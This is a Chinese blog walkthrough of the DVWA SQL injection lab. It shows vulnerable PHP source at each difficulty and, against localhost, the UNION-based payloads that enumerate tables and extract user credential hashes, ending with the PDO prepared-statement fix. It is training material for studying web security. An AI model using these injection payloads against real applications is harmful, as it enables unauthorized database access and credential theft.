1.初级篇 low.php

先看源码,取得的参数直接放到sql语句中执行

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

http://localhost/DVWA-master/vulnerabilities/sqli/?id=&Submit=Submit#

直接加引号看报错,通过报错信息很容易的到使用单引号进行闭合

http://localhost/DVWA-master/vulnerabilities/sqli/?id=1'&Submit=Submit#
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

使用order by猜字段数量

http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' order by 3%23&Submit=Submit#

order by 2时页面正常

union select 查询user() database()

http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' union select user(),database()%23&Submit=Submit#

查表名

http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'%23&Submit=Submit#

查users表列名

http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'%23&Submit=Submit#

查数据

http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select user,password from dvwa.users limit 0,1%23&Submit=Submit#

解密可得

 2.中级篇 Medium.php

看一下区别,id参数不再使用$_REQUEST获取了,并且使用了mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

最直接的一点影响就是'被转义成为了\',使得攻击者无法闭合引号而无法注入,

若MySQL客户端的编码为gbk时,就会产生宽字节注入。参照 http://netsecurity.51cto.com/art/201404/435074.htm 利用 https://www.cnblogs.com/superkrissV/p/8379690.html

若id参数为整型的时候,由于不需要闭合引号,一样可以正常注入,此处id为整型

SELECT first_name, last_name FROM users WHERE user_id = $id;

使用hackbar插件提交post数据,post形式下#不用编码成%23

id=0 union select 1,2#&Submit=Submit

和初级篇一样取数据

id=0 union select user,password from dvwa.users limit 0,1#&Submit=Submit

 3.高级篇 High.php

id参数是从session中来获取的,由于session数据存储在服务器端,很多程序员会对来自客户端的数据进行严格校验,而服务端的数据则认定安全

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ]; // Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

点击弹出一个页面,对应的url

http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

审查源码

查看session-input.php源码,可以发现id参数没有经过任何处理直接传递到了session中

if( isset( $_POST[ 'id' ] ) ) {
$_SESSION[ 'id' ] = $_POST[ 'id' ];
//$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
$page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}

明白这些就可以进行注入了,注入的页面是session-input.php,显示结果的页面是index.php

http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

POST提交

id=0' union select user,password from dvwa.users#&Submit=Submit

刷新

http://localhost/DVWA-master/vulnerabilities/sqli/index.php

4.不可能篇 Impossible.php

查看源码,可以发现使用PDO技术来防止SQL注入,将id绑定为int

    $id = $_GET[ 'id' ];

    // Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  3. DVWA平台v1.8-SQL注入(low级别)

    代码 <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT fi ...

  4. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  5. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  6. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  7. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  8. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

随机推荐

  1. Mac OS X 10.10, Eclipse+ADT真机调试代码时,Device Chooser中不显示真机的解决方式

    Mac OS X 10.10的环境下.Eclipse+ADT,进行真机调试时,会出现一个问题. Device Chooser对话框里不显示真机设备,仅仅有又一次插拔数据线才干够. 经过測试.有两个暂时 ...

  2. HDU 5428 分解质因数

                                                                                                   The F ...

  3. BZOJ 1055 区间DP

    1055: [HAOI2008]玩具取名 Time Limit: 10 Sec  Memory Limit: 162 MBSubmit: 1144  Solved: 668[Submit][Statu ...

  4. 大文本 通过 hadoop spark map reduce 获取 特征列 的 属性值 计算速度

    大文本 通过 hadoop spark map reduce   获取 特征列  的 属性值  计算速度

  5. python3 使用http.server模块 搭建一个简易的http服务器

    from http.server import HTTPServer, BaseHTTPRequestHandler import json data = {'result': 'this is a ...

  6. the largest value you actually can transmit between the client and server is determined by the amount of available memory and the size of the communications buffers.

    the largest value you actually can transmit between the client and server is determined by the amoun ...

  7. 混合使用Delphi和C ++(附下载)

    您想将C ++添加到Delphi应用程序中吗?或者将Delphi代码添加到C ++应用程序中?这是如何做. 您可能不知道的一件事是如何在RAD Studio中集成C ++和Delphi语言.您可以将单 ...

  8. POJ 1330 LCA裸题~

    POJ 1330 Description A rooted tree is a well-known data structure in computer science and engineerin ...

  9. eclipse导出签名apk的混淆设置

    1.设置project.properties文件: 2.设置proguard-project.txt文件:

  10. jQuery:has()和jQuery:contains()及jQuery:empty

    jQuery:has()和jQuery:contains()两个方法比较类似.不同点在于: has是判断标签的 contains是判断文本的 1.jQuery:has() <div>< ...